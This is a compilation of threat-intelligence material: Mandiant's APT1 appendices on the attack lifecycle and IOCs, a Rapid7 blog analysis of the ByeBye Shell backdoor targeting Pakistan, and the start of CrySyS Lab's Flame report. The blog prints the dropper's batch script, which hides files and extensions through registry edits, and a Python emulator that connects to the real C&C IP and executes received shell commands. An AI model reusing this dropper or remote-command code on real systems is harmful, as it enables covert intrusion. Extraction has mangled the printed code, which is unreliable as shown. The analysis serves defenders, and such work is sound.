Mandiant APT1 63 www.mandiant.com aPPenDIx B: aPt anD the attaCk LIFeCyCLe While most computer intrusions follow a generic, high-level series of steps in the attack lifecycle, the Chinese APT lifecycle differs slightly because of their unique long-term objectives.
The sections below correspond to the stages of Mandiants Attack Lifecycle model and give an overview of what APT activity looks like in each stage.
The stages between Establish Foothold and Complete Mission do not have to occur in this order every time.
In fact, once established within a network, APT groups will continually repeat the cycle of conducting reconnaissance, identifying data of interest, moving laterally to access that data, and completing mission by stealing the data.
This will generally continue indefinitely until they are removed entirely from the network.
Initial Compromise The Initial Compromise stage represents the methods that intruders use to penetrate a target organizations network.
APT intruders frequently target individual users within a victim environment.
As such, the most commonly observed method of initial compromise is spear phishing.
Spear phishing messages may contain malicious attachments, a link to a malicious file, or a link to a malicious website.
Less commonly, APT intruders may attempt to contact potential victims and send malicious content via social networking sites or instant messaging.
Another common tactic is strategic web compromise, in which the attacker places malicious code on websites that people in targeted organizations will likely visit.
When they visit these websites in the course of their normal duties, they will be compromised if their computer is vulnerable to the attackers exploit code.
APT groups may also look for vulnerable Internet-facing web servers and upload webshells in order to gain access to a targets internal network, or look for other technical vulnerabilities in public-facing infrastructure.
Establish Foothold Establishing a foothold ensures that APT threat groups can access and control one or more computers within the victim organization from outside the network.
APT groups can utilize public backdoors (Gh0st RAT and Poison Ivy are common examples), underground backdoors found in hacker websites or obtained through personal connections, and custom backdoors that they developed themselves.
These backdoors usually establish an outbound connection from the victim network to a computer controlled by the attackers.
The communication methods used by the backdoors vary from clear text or simple encoding to the use of more advanced encoding or encryption.
The backdoors will give the APT groups basic access to a system, typically through a command shell or graphical user interface.
Mandiant APT1 64 www.mandiant.com Escalate Privileges Escalating privileges involves acquiring items that will allow access to more resources within the victim environment.
Most often this consists of obtaining usernames and passwords, but it may also include gaining access to PKI certificates, VPN client software, privileged computers, or other resources required to access data or systems of interest.
APT intruders (and intruders in general) prefer to leverage privileged accounts where possible, such as Domain Administrators, service accounts with Domain privileges, local Administrator accounts, and privileged user accounts.
This is typically accomplished by first dumping password hashes from a computer, server, or (preferably) Domain Controller.
The attacker may be able to obtain legitimate account passwords by cracking password hashes.
Alternately, the attacker may leverage the hashes themselves in a pass-the-hash attack, where the hashed password itself may be used for authentication in lieu of the actual password.
A number of publicly available tools can be readily leveraged for both password dumping and pass-the-hash attacks.
Internal Reconnaissance In the Internal Reconnaissance stage, the intruder collects information about the victim environment.
APT threat actors use built-in operating system commands (such as the Windows net commands) to obtain information about the internal network, including computers, trust relationships, users, and groups.
In order to identify data of interest, they may perform directory or network share listings, or search for data by file extension, key word, or last modified date.
Data of interest may take many forms, but most commonly consists of documents, the contents of user email accounts, or databases.
Therefore file servers, email servers, and domain controllers are customary targets of internal reconnaissance.
Some APT groups utilize custom scripts in order to automate the process of reconnaissance and identification of data of interest.
Move Laterally In most cases, the systems that the intruders initially compromise do not contain the data that they want.
Therefore they must move laterally within a network to other computers that either contain that data or allow them to access it.
APT groups leverage compromised user credentials or pass-the-hash tools to gain access to additional computers and devices inside of a victim network.
They commonly use compromised credentials with PsExec and / or the Windows Task Scheduler (at command) to execute commands and install malware on remote systems.
Maintain Presence In this stage, the intruders take actions to ensure continued control over key systems in the network environment from outside of the network.
APT groups often install new backdoors (e.g., different backdoors than the ones installed in the Establish Foothold phase) in the environment during the course of the campaign.
They may install different families of malware on multiple computers and use a variety of command and control addresses, presumably for redundancy and to make it difficult to identify and remove all of their access points.
Additionally, APT groups may establish methods of network access that do not involve backdoors, so that they can maintain a presence even if network security personnel discover and remove their malware.
These methods may include the use of valid PKI or VPN credentials, allowing the intruders to masquerade as a legitimate user to gain access to a corporate network and internal resources.
In some instances APT threat actors have been able to circumvent two-factor authentication to maintain access to a victim network and its resources.
Mandiant APT1 65 www.mandiant.com Complete Mission The main goal of APT intrusions is to steal data, including intellectual property, business contracts or negotiations, policy papers or internal memoranda.
Once APT groups find files of interest on compromised systems, they often pack them into archive files before stealing them.
They most commonly use the RAR archiving utility for this task, but may also use other publicly available utilities such as ZIP or 7-ZIP.
APT threat actors not only compress data, but frequently password-protect the archive.
From there they use a variety of methods to transfer files out of the victim network, including FTP, custom file transfer tools, or existing backdoors.
Mandiant APT1 66 www.mandiant.com aPPenDIx C (DIGItaL): the MaLware arsenaL This appendix is digital and can be found at http://www.mandiant.com/apt1.
It includes profiles of malware families that APT1 has used.
Mandiant APT1 67 www.mandiant.com aPPenDIx D (DIGItaL): FQDns This appendix is digital and can be found accompanying this report.
It includes fully qualified domain names (FQDNs) that APT1 has used as part of their attack infrastructure.
Mandiant APT1 68 www.mandiant.com aPPenDIx e (DIGItaL): MD5 hashes This appendix is digital and can be found at http://www.mandiant.com/apt1.
It includes MD5 hashes of malware that APT1 has used as part of their attack methodology.
In Appendix G: IOCs, the IOC named 8dd23e0a-a659-45b4-a168- 67e4b00944fb.ioc contains all of the MD5 hashes provided in this appendix for use in conjunction with Redline, Mandiants free host-based investigative tool, or with Mandiant Intelligent Response (MIR), Mandiants commercal host-based investigative tool.
Mandiant APT1 69 www.mandiant.com aPPenDIx F (DIGItaL): ssL CertIFICates This appendix is digital and can be found at http://www.mandiant.com/apt1.
It includes APT1 SSL certificates used on servers that are part of their command and control infrastructure.
Mandiant APT1 70 www.mandiant.com aPPenDIx G (DIGItaL): IoCs The portion of this appendix that includes the Indicators of Compromise (IOCs) is digital and can be found at http:// www.mandiant.com/apt1.
APT1 Indicators and Using Redline With the release of Mandiants report, APT1: Exposing One of Chinas Cyber Espionage Units, we are providing a set of APT1 IOCs in the digital portion of Appendix G to help detect malware described in Appendix C: The Malware Arsenal.
IOCs can be used in investigations to find unknown evils or for detection of already known threats.
The IOCs included in Appendix G fit the latter however, keep in mind that APT1 does update their tools, and there are certainly malware variants and new families of malware that will not be detected with this set of IOCs.
To find out more about the report or the digital appendices (to include downloading the set of APT1 IOCs in Appendix G: IOCs) go to http://www.mandiant.
com/apt1.
IOCs can be used in conjunction with Redline, Mandiants free host-based investigative tool, or with Mandiant Intelligent Response (MIR), Mandiants commercial host-based investigative tool.
Mandiants customers who have licensed MIR can simply import a zip file of the IOCs into their controllers.
For those without MIR, Redline can be downloaded from Mandiants web site at http://www.mandiant.com/resources/download/redline.
Remember to always test new IOCs before using them in a production environment.
What Are IOCs?
Mandiant has developed an open, extendable standard for defining and sharing threat information in a machine- readable format.
Going well beyond static signature analysis, IOCs combine over 500 types of forensic evidence with grouping and logical operators to provide advanced threat detection capability.
If you are not familiar with IOCs, go to the OpenIOC site for a description at http://openioc.org.
Mandiant APT1 71 www.mandiant.com What Is Redline?
Redline is Mandiants free tool for investigating hosts for signs of malicious activity through memory and file analysis, and subsequently developing a threat assessment profile.
Redline provides several benefits including the following: RAPID TRIAGE When confronted with a potentially compromised host, responders must first assess whether the system has active malware.
Without installing software or disrupting the current state of the host, Redline thoroughly audits all currently- running processes and drivers on the system for a quick analysis for a detailed analysis, it also collects the entire file structure, network state, and system memory.
Redline will also compare any MD5 value it collects, analyzes, and visualizes against an MD5 whitelist.
Users can further analyze and view imported audit data using Redlines Timeline functionality, which includes capabilities to narrow and filter results around a given timeframe with the TimeWrinkles and TimeCrunches features.
REVEALS HIDDEN MALWARE The Redline Portable Agent can collect and analyze a complete memory image, working below the level at which kernel rootkits and other malware-hiding techniques operate.
Many hiding techniques become extremely obvious when examined at the physical memory level, making memory analysis a powerful tool for finding malware.
It also reveals memory only malware that is not present on disk.
GUIDED ANALYSIS Mandiants Redline tool streamlines memory analysis by providing a proven workflow for analyzing malware based on relative priority.
This takes the guesswork out of task and time allocation, allowing investigators to provide a focused response to the threats that matter most.
Redline calculates a Malware Risk Index that highlights processes more likely to be worth investigating, and encourages users to follow investigative steps that suggest how to start.
As users review more audits from clean and compromised systems, they build up the experience to recognize malicious activity more quickly.
As you investigate a system, heres how Redline will help you focus your attention on the most productive data: INVESTIGATIVE STEPS Redline can collect a daunting amount of raw information.
Its investigative steps help provide a starting place by highlighting specific data and providing views that are most commonly productive in identifying malicious processes.
Unless you are pursuing a specific lead, we recommend working through the steps in order, examining the information for entries that dont match your expectations.
The key to becoming an effective investigator is to review Redline data from a variety of clean and compromised systems.
Over time, your sense of which entries are normal and which are of concern will develop quickly as you view more data.
Mandiant APT1 72 www.mandiant.com MALWARE RISK INDEx SCORING Redline analyzes each process and memory section using a variety of rules and techniques to calculate a Malware Risk Index for each process.
This score is a helpful guide to identifying those processes that are more likely to be worth investigating.
Processes at the highest risk of being compromised by malware are highlighted with a red badge.
Those with some risk factors have a grey badge, and low-risk processes have no badge.
The MRI is not an absolute indication of malware.
During an investigation you can refine the MRI scoring by adjusting specific hits (identifying false positives and false negatives) for each process, adding your own hits, and generally tuning the results.
IOCs Redline provides the option of performing IOC analysis in addition to MRI scoring.
Supplied a set of IOCs, the Redline Portable Agent will be automatically configured to gather the data required to perform a subsequent IOC analysis after the analysis is run, IOC hit results are available for further investigation.
In addition, Redline provides the ability to create an IOC Collector.
This feature enables the collection of data types required for matching a set of IOCs.
WORKS WITH MIR Combined with MIR, Redline is a powerful tool for accelerated live response.
Heres a typical case: IDS or other system detects suspicious activity on a host From MIR, an investigator launches a remote live response script The MIR Agent running on the host captures and analyzes memory locally, streaming back a small XML audit that downloads in minutes rather than hours From MIR, the user can open the audit directly in Redline Using Redline, the investigator quickly identifies a malicious process, and writes an IOC describing the forensic attributes found in Redline Using MIR and MCIC, the investigator is quickly able to sweep for that IOC and discover all other systems on the network with the same (or similar) malware running Mandiant APT1 73 www.mandiant.com Have MIR Customers had Access to these IOCs Before?
These IOCs are new However, much of the detection capability in this set of indicators has already been available to our MIR customers.
The IOCs may look different though as a result of improvements in creation and testing.
Mandiant started 2013 with a focus on taking better advantage of our threat intelligence.
We plan to continue to improve the synthesis of our threat intelligence and our IOCs by improving our breadth, IOC creation process, IOC management process, and IOC testing.
The majority of these indicators, or modified versions of them, will be integrated into the next IOC release.
What Is the FAMILY Designator in This Set of IOCs?
We are using a new IOC designator in these IOCs called (FAMILY).
Mandiants Threat Intelligence Unit tracks malware by common features seen in groups of binaries.
We call those groupings of binaries families.
The IOCs included in this appendix are representatives of families of malware used by APT1.
The new designator follows the family name in the Name field of the IOC, and the presence of (FAMILY) implies that that IOC applies to the whole family, not just one sample.
Why Do These IOCs Look Somewhat Different Than Other IOCs I Have Seen From Mandiant?
In many cases we have combined information that previously would have been in several indicators into a single indicator.
Additionally, we have removed certain types of intelligence, since they are being released in separate appendices (such as FQDNs and IPs).
Additionally, some IOCs in this set are using file permutation blocks to catch variants of malware that might not be detected otherwise.
What Is a File Permutation block?
It is a different way to structure lists of File Item attributes to look for an entire family of malware versus only one or two pieces.
For more information on this topic or most any other IOC questions go to https://forums.mandiant.com.
Will You Update These IOCs?
It is likely that we will make some changes to the IOCs in Appendix G as we get feedback.
If updated, the updates will be available in the same location as the report http://www.mandiant.com/apt1.
Will You Be Releasing More IOCs Like This?
Currently, there are no plans for additional public releases of this magnitude.
Mandiant APT1 74 www.mandiant.com aPPenDIx h (DIGItaL): vIDeo This appendix is digital and can be found at http://www.mandiant.com/apt1.
It includes a compilation of videos showing actual attacker sessions and their intrusion activities.
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Ref347772255 _Ref347845518 _Ref347841096 _Ref347947574 _Ref347957143 _Ref347842327 _Ref347843482 _Ref347843757 _Ref347845736 _Ref347845738 _Ref221776251 _Ref347619818 _Ref347621404 _Ref347620944 _Ref347902247 _Ref347943172 _Ref347943305 _GoBack Executive Summary Chinas Computer Network Operations Tasking to PLA Unit 61398 (61398) APT1: Years of Espionage APT1: Attack Lifecycle APT1: Infrastructure APT1: Identities Conclusion Appendix A: How Does Mandiant Distinguish Threat Groups?
Appendix B: APT and the Attack Lifecycle Appendix C (Digital): The Malware Arsenal Appendix D (Digital): FQDNs Appendix E (Digital): MD5 Hashes Appendix F (Digital): SSL Certificates Appendix G (Digital): IOCs Appendix H (Digital): Video
All Places  Information Security  Blog  2013  August  19 Information Security Previous post Next post Asia and South Asia are a theater for daily attacks and numerous ongoing espionage campaigns between neighboring countries, so many campaigns that its hard to keep count.
Recently I stumbled on yet another one, which appears to have been active since at least the beginning of the year, and seems mostly directed at Pakistani targets.
In this article were going to analyze the nature of the attacks, the functionality of the backdoor - here labelled as ByeBye Shell - and the quick interaction I had with the operators behind this campaign.
Infection No exploit was used in any of the attacks we attribute to this campaign - the attackers probably just relied on social engineering the victim through well-crafted spearphishing emails.
The malware first appears to the victim as a .scr file.
In some cases the attackers make use of the Left-to-Right Override Unicode character in order to twist the .exe file extension into something more credible.
Once executed it drops and launches a batch script in a Temp subfolder with the following content: As you can see, it enforces some configuration in the registry in order to hide file extensions and not show hidden folders.
Subsequently the malware creates and launches a Cabinet Self-Extractor, which drops two additional executable files: one embedding either a PDF or a Microsoft Office Word document, the other being the actual backdoor.
These are the hashes of the original droppers I inspected during this analysis: 8b4224dac114a9b8433913a1977f88b2 469cf94c457c17d8f24dacf9f9d41f33 6b349e439a17c4b66fb2a25965432aa9 d36da5c48d8fb7ee8c736ae183bf3f8a The embedded documents all show content revolving around internal or foreign Pakistan politics - following are some examples of such documents: ByeBye Shell and the targeting of Pakistan Posted by Claudio Guarnieri in Information Security on Aug 19, 2013 2:10:45 PM 01.
echo off 02.
start IEXPLORE.EXE backdoor 03.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0x00000000 /f 04.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 0x00000001 /f 05.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0x00000000 /f 06.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0x00000000 /f 07.
exit This document appears to report an article that appeared on Hilal, the magazine of the Pakistan Armed Forces.
You can find a copy of the original article on this Pakistan institutional website.
Also in this case the attacker seems to have just reused an existing article.
Searching online for the content, it appears to have been originally published on a website called SATribune, which is no longer online.
You can find a copy of the full article here.
Again, the original article is available on Dawn.com.
This last one coming instead from Reuters.
Backdoor Lets face it: at the point where the attackers obtain control over the target computer, not much sophistication is left in day-to-day targeted attacks.
PoisonIvy, Gh0st and custom backdoors are daily business for threat analysts and malware researchers, in most cases being tedious work with little technical challenge.
This campaign is no exception.
The main backdoor installed and executed on the victims systems appears to be a custom reverse shell with just a handful of features.
Due to a lack of public literature about this case, I decided to dub this family as ByeByeShell.
When disassembling the binary you can quickly understand the mechanics of the backdoor.
After some quick initialization, the backdoor XORs an embedded string with 0x9D to extract the IP address of the CC server.
Subsequently it establishes a connection to it (generally on port 80) and checks in with some basic information about the system.
LAB-OF-Me: 10.0.2.15............................................................UserName: User HostName:lab MAC: MAC address Address 0: 10.0.2.15 [P130813] As you can see, it reports the computer name, the user name, the IP address and MAC address of the network adapter.
The [P130813] line appears to be a constant value, possibly a target identifier.
Interestingly, in a specific malware sample belonging to this campaign, the backdoor also appends the string INS and AfPak at the end of the message - note that, as defined by Wikipedia, AfPak (or Af-Pak) is a neologism used within US foreign policy circles to designate Afghanistan and Pakistan as a single theater of operations.
After the check-in message is sent, the malware enters a continuous loop in which it will keep silently waiting for commands from the open socket connection.
From now on, it expects some manual interaction from the attacker.
The supported commands are: shell comd sleep quit kill You can see the switch block in the following screenshots.
When a message is received from the socket connection, it checks if the message is shell then spawn a reverse shell, otherwise continues by checking for comd which will simply execute a command and returns.
If neither shell or comd is specified by the operator, it checks if it has been instructed to sleep or terminate, otherwise it just continues to the next iteration.
In the following screenshot you can see how the reverse shell is implemented: it just launches a cmd.exe and pipes stdin, stdout and stderr to the opened socket so that the operator can directly interact with the Windows prompt.
As you can see, this is an extremely basic backdoor, even poorly written if you ask me.
Antivirus detection rate is also reasonably good, despite consisting mostly of generic signatures.
The samples are also signed with an invalid Microsoft Windows certificate, which can be used for further fingerprinting: 01.
Certificate: 02.
Data: 03.
Version: 3 (0x2) 04.
Serial Number: 05.
5b:b2:39:83:49:9b:89:a0:43:a8:10:3a:67:24:13:78 06.
Signature Algorithm: md5WithRSAEncryption 07.
Issuer: CNMicrosoft Windows 08.
Validity Playing with the Attacker In all the cases presented in this blog post, the backdoors tried to connect to the CC located at 46.165.207.134, which appears to be a dedicated server hosted by Leaseweb: inetnum:        46.165.200.0 - 46.165.207.255 netname:        NETDIRECT-NET descr:          Leaseweb Germany GmbH (previously netdirekt e. K.) remarks:        INFRA-AW country:        DE admin-c:        LSWG-RIPE tech-c:         LSWG-RIPE status:         ASSIGNED PA mnt-by:         NETDIRECT-MNT mnt-lower:      NETDIRECT-MNT mnt-routes:     NETDIRECT-MNT source:         RIPE  Filtered At the time of writing, the server appears to still be online.
However port 80, which the backdoors try to contact, appears to be available only sporadically.
In order to get some fun out of an overall straightforward analysis, I quickly hacked together a Python script that emulates a ByeBye backdoor - following is the code: 09.
Not Before: Dec 31 18:30:00 2011 GMT 10.
Not After : Dec 31 18:30:00 2014 GMT 11.
Subject: CNMicrosoft Windows 12.
Subject Public Key Info: 13.
Public Key Algorithm: rsaEncryption 14.
Public-Key: (1024 bit) 15.
Modulus: 16.
00:c6:e9:0c:5e:0a:09:39:db:58:a8:03:6c:60:da: 17.
32:ad:c5:3d:9a:39:91:ca:93:9f:ac:39:aa:3d:45: 18.
54:a7:63:e0:a7:c3:b0:b6:ee:2b:6c:bd:83:f9:9b: 19.
9b:e1:df:0d:e1:2a:96:e3:99:5e:52:0e:c7:c5:63: 20.
91:b4:e9:37:63:be:4b:62:23:2e:b8:00:f0:48:22: 21.
1e:ef:60:16:99:a4:08:2c:66:72:26:a2:68:1d:66: 22.
a4:22:ff:a5:72:7a:ad:f8:78:9c:1f:2e:89:49:62: 23.
f4:ba:6d:7f:f5:04:b1:9b:29:58:13:1d:f9:0f:a6: 24.
86:95:95:92:0b:57:9c:ca:39 25.
Exponent: 65537 (0x10001) 26.
X509v3 extensions: 27.
2.5.29.1: 28.
0D..g.yY,..Oxz..../..0.1.0...U....Microsoft Windows..[.9.I...C..:g.x 29.
Signature Algorithm: md5WithRSAEncryption 30.
bd:b3:b3:95:14:aa:55:0d:80:4a:7b:d5:54:e9:43:e9:e1:36: 31.
c1:7b:25:64:4b:a4:35:6f:55:81:d1:f5:9d:69:87:04:f3:8d: 32.
05:0a:49:31:0e:49:11:62:97:85:42:b4:37:63:ce:88:77:59: 33.
44:9c:83:03:9c:bb:95:f8:f4:8d:15:b5:1c:96:d4:af:ea:50: 34.
0a:cf:53:38:01:ed:00:6c:a0:90:f6:4c:8c:80:12:f3:ac:38: 35.
b1:4f:d9:e9:d1:2b:8b:40:0e:9e:6b:38:45:a1:90:2d:fe:79: 36.
92:6d:f8:98:f1:a7:bf:9b:8d:7a:bc:89:77:12:33:29:6e:7e: 37.
d2:ff 01.
import os 02.
import sys 03.
import socket 04.
import subprocess 05.
06.
def main(host46.165.207.134): 07.
This is the check-in message.
08.
buf  HOMEPC-OF-User: 192.168.0.5............................................................UserName: User\n 09.
buf  HostName:HOMEPC\n 10.
buf  MAC: MAC ADDRESS\n 11.
buf  Address 0: 192.168.0.5\n 12.
buf  [P100713]\n 13.
buf 14.
15.
Emulating cmd.exe, hacky but works.
16.
cmd  Microsoft Windows XP [Version 5.1.2600]\n 17.
cmd  (C) Copyright 1985-2001 Microsoft Corp.\n 18.
prompt  C:\Documents and Settings\User 19.
20.
print([] Trying to connect to CC...) 21.
22.
Try to establish connection with the CC.
23.
while True: 24.
try: 25.
sock  socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) 26.
sock.connect((host, 80)) 27.
except Exception as e: 28.
print([] ERROR: Unable to connect: 0.format(e)) 29.
sock.close() 30.
continue 31.
else: 32.
subprocess.
Popen(start alarm.mp3, shellTrue) 33.
break 34.
35.
print([] Connected to CC) 36.
37.
Send check-in message.
38.
sock.send(buf) 39.
40.
print([] Authenticated to CC) 41.
42.
This flag represents whether we should currently emulate a cmd.exe prompt 43.
or emulate the backdoor shell.
44.
shell_mode  False 45.
46.
Main loop.
47.
while True: 48.
Wait for incoming command.
49.
try: 50.
bufin  sock.recv(1024) 51.
except KeyboardInterrupt: 52.
break 53.
except Exception as e: 54.
print([] ERROR: Connection lost: 0.format(e)) 55.
break 56.
57.
data  bufin.strip() 58.
if len(data)  0: 59.
continue 60.
61.
print([] Received: 0.format(data)) 62.
63.
If we are in cmd.exe mode... 64.
if shell_mode: 65.
If he tries to exit the cmd, we emulate that.
66.
if data in (quit, exit): As you can see, this script simply tries to emulate the basic functionality of ByeBye: it performs the initial check-in and waits for incoming messages from the operator.
Yes - since, as previously said, the CC comes online only at times - I instructed the script to play an extremely loud alarm.
Props to my flatmate for waking me up whenever the alarm went off.
Surprisingly the operator responded few moments later my first attempt, although he quickly tried to terminate me probably noticing an unexpected origin: [] Received: kill 67.
shell_mode  False 68.
sock.send() 69.
continue 70.
If he tries to shutdown the system, Im gonna interrupt.
71.
elif shutdown in data: 72.
break 73.
I dont want him to kill processes.
74.
elif taskkill in data: 75.
continue 76.
Otherwise just execute the command.
77.
else: 78.
proc  subprocess.
Popen(data, stdoutsubprocess.
PIPE, stderrsubprocess.
PIPE, shell 79.
(out, err)  proc.communicate() 80.
81.
if out: 82.
lines  out.split(\n) 83.
out_lines  [] 84.
for line in lines: 85.
Can filter output here, for instance remove process 86.
names or VirtualBox indicators and such.
87.
88.
out_lines.append(line) 89.
90.
Send the findal cmd output.
91.
sock.send(\n.join(out_lines)) 92.
if err: 93.
sock.send(err) 94.
95.
sock.send(prompt) 96.
else: 97.
if data  kill: 98.
Should do this: 99.
sock.send(KILLED) 100.
But Im disappointed: 101.
sock.send(NOOooOOooOOooOOoo :-( I thought we were friends) 102.
break 103.
elif data  shell: 104.
sock.send(cmd) 105.
sock.send(prompt) 106.
shell_mode  True 107.
continue 108.
elif data  sleep: 109.
sock.send(BYE BYE\n) 110.
111.
sock.send() 112.
113.
if __name__  __main__: 114.
if len(sys.argv)  2: 115.
main(sys.argv[1]) 116.
else: 117.
main() Home     Top of page     Rapid7.com     Metasploit.com Average User Rating (2 ratings) [] Received: kill [] Received: shell [] Received: shutdown /r /t 0 Unfortunately at that time I didnt have the script completed, therefore he noticed something odd and closed my connection.
I let a few days pass, completed the script and prepared a more credible scenario: a legitimate looking system connecting out of South Asia.
This time it took a bit longer to get some response from the operator, who simply tried to search for documents on the system: [] Received: shell [] Received: systeminfo [] Received: dir /s .pdf [] Received: dir /s .doc [] Received: exit [] Received: sleep Sadly no further activity was observed.
Conclusions This is yet another case of poorly skilled attackers managing to run successful espionage campaigns for extended periods of time.
This is probably one of the most basic incidents I encountered so far, but we can safely assume that the operators behind this campaign are successful enough to maintain the operations running for at least the last 6 months, possibly even more.
No clear indicator is available to make an informed estimate on what could be the origin of the attacks.
This work was brought to you by Claudio nex Guarnieri, Rapid7 Labs.
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Technical Report by Laboratory of Cryptography and System Security (CrySyS Lab) http://www.crysys.hu/ Budapest University of Technology and Economics Department of Telecommunications http://www.bme.hu/ This report contains information provided by anonymous parties and hence references were edited to preserve their anonymity sKyWIper (a.k.a.
Flame a.k.a.
Flamer): A complex malware for targeted attacks v1.05 (May 31, 2012)  Its a live document modified all the time Authors: sKyWIper Analysis Team Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  2 Findings in brief In May 2012, our team participated in the analysis of an as yet unknown malware, which we internally call sKyWIper.
Based on the information initially received, we understood that the malware is an important piece of a targeted attack.
When we started the analysis, we did not know how many countries were affected, but we suspected that it was not limited to a single country.
Our suspicion was based on indications that pieces of the malware was probably identified and uploaded from European parties onto binary analysis sites in the past.
During the investigation, we received information about systems infected by sKyWIper in other countries, including Hungary, our home country.
Hence, the suspicion became evidence, and this made it clear for us that our findings must be disclosed by publishing this report.
It is obvious from the list of its files that sKyWIper must be identical to the malware described in the post http://www.certcc.ir/index.php?namenewsfilearticlesid1894 (from Iran National CERT (MAHER)) where it is called Flamer.
For convenience, we keep our naming of the malware and call it sKyWIper based on one of the filenames (KWI) it uses for temporary files.
sKyWIpers constitution is quite complex with a large number of components and the substantial size of some of its files.
Therefore, providing its full analysis in a limited amount of time was infeasible with our current resources.
Our goal was to get a quick understanding of the malwares purpose, and to identify its main modules, storage formats, encryption algorithms, injection mechanisms and activity in general.
This report contains the results of our analysis, which should help other researchers with more resources to get started and continue the analysis producing more detailed results.
Our first insight suggests that sKyWIper is another info-stealer malware with a modular structure incorporating multiple propagation and attack techniques, but further analysis may discover components with other functionalities.
In addition, sKyWIper may have been active for as long as five to eight years, or even more.
sKyWIper uses compression and encryption techniques to encode its files.
More specifically, it uses 5 different encryption methods (and some variants), 3 different compression techniques, and at least 5 different file formats (and some proprietary formats too).
It also uses special code injection techniques.
Quite interestingly, sKyWIper stores information that it gathers on infected systems in a highly Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  3 structured format in SQLite databases.
Another uncommon feature of sKyWIper is the usage of the Lua scripting language.
sKyWIper has very advanced functionality to steal information and to propagate.
Multiple exploits and propagation methods can be freely configured by the attackers.
Information gathering from a large network of infected computers was never crafted as carefully as in sKyWIper.
The malware is most likely capable to use all of the computers functionalities for its goals.
It covers all major possibilities to gather intelligence, including keyboard, screen, microphone, storage devices, network, wifi, Bluetooth, USB and system processes.
The results of our technical analysis support the hypotheses that sKyWIper was developed by a government agency of a nation state with significant budget and effort, and it may be related to cyber warfare activities.
sKyWIper is certainly the most sophisticated malware we encountered during our practice arguably, it is the most complex malware ever found.
MAJOR UPDATES: 05/30/2012 Kaspersky published much more details about modules Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  4 Table of contents 1.
Introduction .............................................................................................................................................5 1.1.
Investigation............................................................................................................................................................ 5 1.2.
History and build dates ...................................................................................................................................... 5 1.3.
Build dates................................................................................................................................................................ 6 1.4.
Comparison to Duqu (Stuxnet) at a glance............................................................................................... 7 2.
Main components ...................................................................................................................................9 2.1.
Modules...................................................................................................................................................................... 9 2.2.
File listing and hashes.......................................................................................................................................11 3.
Activation and propagation ............................................................................................................. 13 3.1.
Startup sequence.................................................................................................................................................13 3.2.
Bootup experiments to gather timing information.............................................................................15 3.3.
Injections.................................................................................................................................................................17 3.4.
Hooks ........................................................................................................................................................................20 3.5.
Mutexes ....................................................................................................................................................................21 3.6.
nteps32 exports....................................................................................................................................................21 3.7.
Installation and propagation method.......................................................................................................22 4.
Description of components.............................................................................................................. 24 4.1.
Encryption algorithms......................................................................................................................................24 4.2.
Registry parts........................................................................................................................................................32 4.3.
Compression and table formats....................................................................................................................34 4.4.
Data storage formats ........................................................................................................................................36 4.5.
Logging file list.....................................................................................................................................................38 4.6.
Saving additional information......................................................................................................................39 5.
CC communication ........................................................................................................................... 41 6.
Attack details  dictionary and scripts ........................................................................................ 44 6.1.
Some interesting Lua scripts inside the code .........................................................................................48 6.2.
Related files............................................................................................................................................................51 6.3.
SQLite table structure of CLAN DB..............................................................................................................52 7.
Evasion techniques ............................................................................................................................. 56 7.1.
Security programs relation ............................................................................................................................56 7.2.
Design choices and tricks ................................................................................................................................56 7.3.
Malwares own files list ....................................................................................................................................57 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  5 1.
Introduction Our team at CrySyS Lab, Budapest was alerted in May 2012 of a targeted attack found in the wild.
Below we summarize the investigation history and the current status of the forensic analysis.
1.1.
Investigation We have carried out an investigation in collaboration with several parties involved in incident response since we were alerted of the malware sKyWIper.
Some of these parties involved may want to remain anonymous therefore, references in the document are deliberately incorrect to avoid identification of the source of some information, data, sample, code, prototype, etc.
sKyWIper is too complex to be fully analyzed with our limited resources and time.
Therefore, our investigations focused on the big picture, trying to get a first insight into the capabilities, behavior, encryption, data storage, propagation and communications of the malware.
Much more work is needed to fully understand the details of the operation of the malware however, as much debug/symbol information remains in the code, a detailed analysis seems to be feasible with additional resources and time.
1.2.
History and build dates sKyWIper has most probably been operated undetected for years.
It has been potentially operational for 5 years or more according to malware intelligence reports.
The main component, msgsecmgr.ocx a.k.a.
wavesup3.drv refers to many versions of a dynamic link library.
This component has been previously observed (without raising an alarm) as follows: Country of origin The filename WAVESUP3.DRV was first seen on Dec 5 2007 in Europe by the Webroot community.
Since, it has been observed in the following geographical regions: Europe on Dec 5 2007 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  6 The United Arab Emirates on Apr 28 2008 Islamic Republic of Iran on Mar 1 2010 File sizes The following file sizes have been seen: 1,153,536 bytes 991,232 bytes 975,872 bytes 1.3.
Build dates The build date PE header information of the malware uses fake date information for its files hence we cannot precisely identify the target systems infection time.
Nonetheless, the SQLite related part of mssecmgr.ocx contains some build time info (more about the components later): Unidentified build, Aug 31 2011 23:15:32    31...........Aug 31 2011 23:15:32 The following string shows SQLite version information, found in the memory dumps: 2010-01-05 15:30:36 28d0d7710761114a44a1a3a425a6883c661f06e7    NULL It relates to SQLITE_VERSION    3.6.22   (part of the source code) Also, there is a reference 1.2.3, and we think that this refers to zlib version number possibly used in SQLite tables.
Some tables of the malware contain timestamps, possibly some of these do not relate to actual running times, but instead some dates when the attackers developed or constructed attack flows.
An example is audcache.dat that contains timestamps like the ones below.
We are not sure about the timestamps function and about the table structure.
There are other binary strings that might be timestamps, but their values vary too much to be accurate.
